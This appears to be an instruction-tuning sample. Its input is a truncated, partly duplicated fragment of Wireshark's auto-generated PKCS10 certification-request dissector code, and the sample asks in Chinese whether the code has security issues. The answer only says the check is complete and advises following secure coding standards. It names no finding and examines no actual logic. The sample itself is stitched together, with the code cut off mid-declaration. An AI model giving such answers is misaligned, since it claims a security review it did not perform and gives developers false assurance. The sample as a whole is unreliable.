 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/oids.h>
#include <epan/asn1.h>
#include "packet-ber.h"
#include "packet-pkcs10.h"
#include "packet-pkix1explicit.h"
#include "packet-pkix1implicit.h"
#include <epan/prefs.h>

#define PNAME  "PKCS10 Certification Request"
#define PSNAME "PKCS10"
#define PFNAME "pkcs10"

void proto_register_pkcs10(void);

static dissector_handle_t csr_handle;

/* Initialize the protocol and registered fields */
static int proto_pkcs10 = -1;
static int hf_pkcs10_Attributes_PDU = -1;         /* Attributes */
static int hf_pkcs10_CertificationRequest_PDU = -1;  /* CertificationRequest */
static int hf_pkcs10_version = -1;                /* T_version */
static in...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-pkcs10.c                                                            */
/* asn2wrs.py -b -L -p pkcs10 -c ./pkcs10.cnf -s ./packet-pkcs10-template -D . -O ../.. PKCS10.asn */

/* packet-p10.c
 *
 * Routines for PKCS10 packet dissection
 *   Martin Peylo <wireshark@izac.de> 2018
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/oids.h>
#include <epan/asn1.h>
#include "packet-ber.h"
#include "packet-pkcs10.h"
#include "packet-pkix1explicit.h"
#include "packet-pkix1implicit.h"
#include <epan/prefs.h>

#define PNAME  "PKCS10 Certification Request"
#define PSNAME "PKCS10"
#define PFNAME "pkcs10"

void proto_register_pkcs10(void);

static dissector_handle_t csr_handle;

/* Initialize the protocol and registered fields */
static int proto_pkcs10 = -1;
static int hf_pkcs10_Attributes_PDU = -1;         /* Attributes */
static int hf_pkcs10_CertificationRequest_PDU = -1;  /* CertificationRequest */
static int hf_pkcs10_version = -1;                /* T_version */
static in...

Output: 代码安全检查完成，建议遵循安全编码规范。